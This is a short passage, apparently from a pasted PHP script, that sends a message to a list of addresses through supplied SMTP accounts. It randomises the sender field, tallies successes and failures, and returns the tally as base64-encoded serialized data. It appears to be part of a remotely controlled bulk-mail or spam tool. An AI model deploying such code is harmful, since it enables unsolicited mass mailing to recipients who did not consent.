  2643. $from = xnum_macros($from);
  2644.  
  2645. $last_error = sendSmtpMail( $acc[0], $acc[1], $acc[2], $acc[3], $acc[4], $from, $email, $theme, $message);
  2646.  
  2647. if ($last_error === 0)
  2648. {
  2649. $good++;
  2650. }
  2651. else
  2652. {
  2653. $bad++;
  2654. $good = count($emails) - $bad;
  2655. break;
  2656. }
  2657. }
  2658.  
  2659. $res["result"]["error_text"] = $last_error === FALSE ? 0 : $last_error;
  2660. $res["result"]["good"] = $good;
  2661. $res["result"]["bad"] = $bad;
  2662. $res["result"]["check"] = 1;
  2663.  
  2664. echo base64_encode(serialize($res));
  2665.  
  2666. exit();
  2667. ?>
Add Comment
Please, Sign In to add comment